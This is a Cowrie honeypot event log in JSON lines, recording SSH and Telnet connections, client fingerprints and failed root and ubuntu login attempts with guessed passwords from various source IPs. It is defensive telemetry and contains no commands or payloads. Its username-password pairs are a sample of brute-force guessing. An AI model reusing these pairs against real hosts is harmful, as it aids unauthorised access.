{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.316362Z","src_ip":"80.94.92.184","session":"f4527b4163d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.392052Z","src_ip":"45.132.125.41","session":"18b8230270af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.429282Z","src_ip":"80.94.92.184","session":"f4527b4163d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saitoh","message":"login attempt [root/saitoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.832621Z","src_ip":"45.132.125.41","session":"18b8230270af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:35.150968Z","src_ip":"80.94.92.184","session":"f4527b4163d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:35.941662Z","src_ip":"45.132.125.41","session":"18b8230270af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.61894965171814,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:36.034897Z","src_ip":"152.42.224.71","session":"401839d5a70f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:36.369231Z","src_ip":"80.94.92.184","session":"f4527b4163d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14145064353943,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:40.062161Z","src_ip":"152.42.224.71","session":"8b977e192038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"7516cbf69667","protocol":"ssh","message":"New connection: 13.71.92.229:50304 (10.17.0.5:22) [session: 7516cbf69667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:45.651024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:45.660280Z","src_ip":"13.71.92.229","session":"7516cbf69667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:45.894665Z","src_ip":"13.71.92.229","session":"7516cbf69667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darek","message":"login attempt [root/darek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:46.745058Z","src_ip":"13.71.92.229","session":"7516cbf69667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:47.958481Z","src_ip":"13.71.92.229","session":"7516cbf69667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":49716,"dst_ip":"10.17.0.5","dst_port":22,"session":"964fee5d1330","protocol":"ssh","message":"New connection: 20.193.250.100:49716 (10.17.0.5:22) [session: 964fee5d1330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:48.556095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:48.560835Z","src_ip":"20.193.250.100","session":"964fee5d1330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:48.762280Z","src_ip":"20.193.250.100","session":"964fee5d1330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support.26","message":"login attempt [root/support.26] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:49.607209Z","src_ip":"20.193.250.100","session":"964fee5d1330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:50.815874Z","src_ip":"20.193.250.100","session":"964fee5d1330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45817446708679,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:52.419556Z","src_ip":"152.42.224.71","session":"3d32887c815c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"36664bbe9df7","protocol":"ssh","message":"New connection: 62.54.176.203:47990 (159.203.135.109:22) [session: 36664bbe9df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:54.668036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:54.677072Z","src_ip":"62.54.176.203","session":"36664bbe9df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:54.778392Z","src_ip":"62.54.176.203","session":"36664bbe9df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121964","message":"login attempt [root/11121964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:55.233906Z","src_ip":"62.54.176.203","session":"36664bbe9df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:56.338886Z","src_ip":"62.54.176.203","session":"36664bbe9df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.1.87.115","src_port":50034,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69bc6872912","protocol":"ssh","message":"New connection: 120.1.87.115:50034 (10.17.0.5:22) [session: e69bc6872912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:56.730417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:56.734797Z","src_ip":"120.1.87.115","session":"e69bc6872912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:56.980133Z","src_ip":"120.1.87.115","session":"e69bc6872912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"794613","message":"login attempt [root/794613] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:57.998364Z","src_ip":"120.1.87.115","session":"e69bc6872912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:59.254368Z","src_ip":"120.1.87.115","session":"e69bc6872912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e517d5f7eec","protocol":"telnet","message":"New connection: 152.42.224.71:58066 (10.17.0.5:23) [session: 8e517d5f7eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:59.961662Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58074,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd209cb1768","protocol":"telnet","message":"New connection: 152.42.224.71:58074 (10.17.0.5:23) [session: 3fd209cb1768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:01.133868Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58086,"dst_ip":"10.17.0.5","dst_port":23,"session":"322371d60a23","protocol":"telnet","message":"New connection: 152.42.224.71:58086 (10.17.0.5:23) [session: 322371d60a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:04.141733Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43444,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b68de6cb9a5","protocol":"telnet","message":"New connection: 152.42.224.71:43444 (10.17.0.5:23) [session: 5b68de6cb9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:05.941747Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43454,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9d17d3fdde","protocol":"telnet","message":"New connection: 152.42.224.71:43454 (10.17.0.5:23) [session: 2e9d17d3fdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:11.824434Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":35962,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c03b8fbb0ed","protocol":"ssh","message":"New connection: 23.249.28.115:35962 (159.203.135.109:22) [session: 0c03b8fbb0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:12.050011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:12.054808Z","src_ip":"23.249.28.115","session":"0c03b8fbb0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:12.245340Z","src_ip":"23.249.28.115","session":"0c03b8fbb0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32167","message":"login attempt [root/32167] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:13.040973Z","src_ip":"23.249.28.115","session":"0c03b8fbb0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:14.235457Z","src_ip":"23.249.28.115","session":"0c03b8fbb0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0029525756836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:15.963992Z","src_ip":"152.42.224.71","session":"0091192a347c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54240,"dst_ip":"10.17.0.5","dst_port":23,"session":"df42b6f7cfeb","protocol":"telnet","message":"New connection: 152.42.224.71:54240 (10.17.0.5:23) [session: df42b6f7cfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:18.275594Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"86f145d67f42","protocol":"ssh","message":"New connection: 193.37.70.224:60198 (159.203.135.109:22) [session: 86f145d67f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:18.750326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:18.755045Z","src_ip":"193.37.70.224","session":"86f145d67f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:18.844925Z","src_ip":"193.37.70.224","session":"86f145d67f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stranger","message":"login attempt [root/stranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:19.116750Z","src_ip":"193.37.70.224","session":"86f145d67f42","protocol":"ssh"}
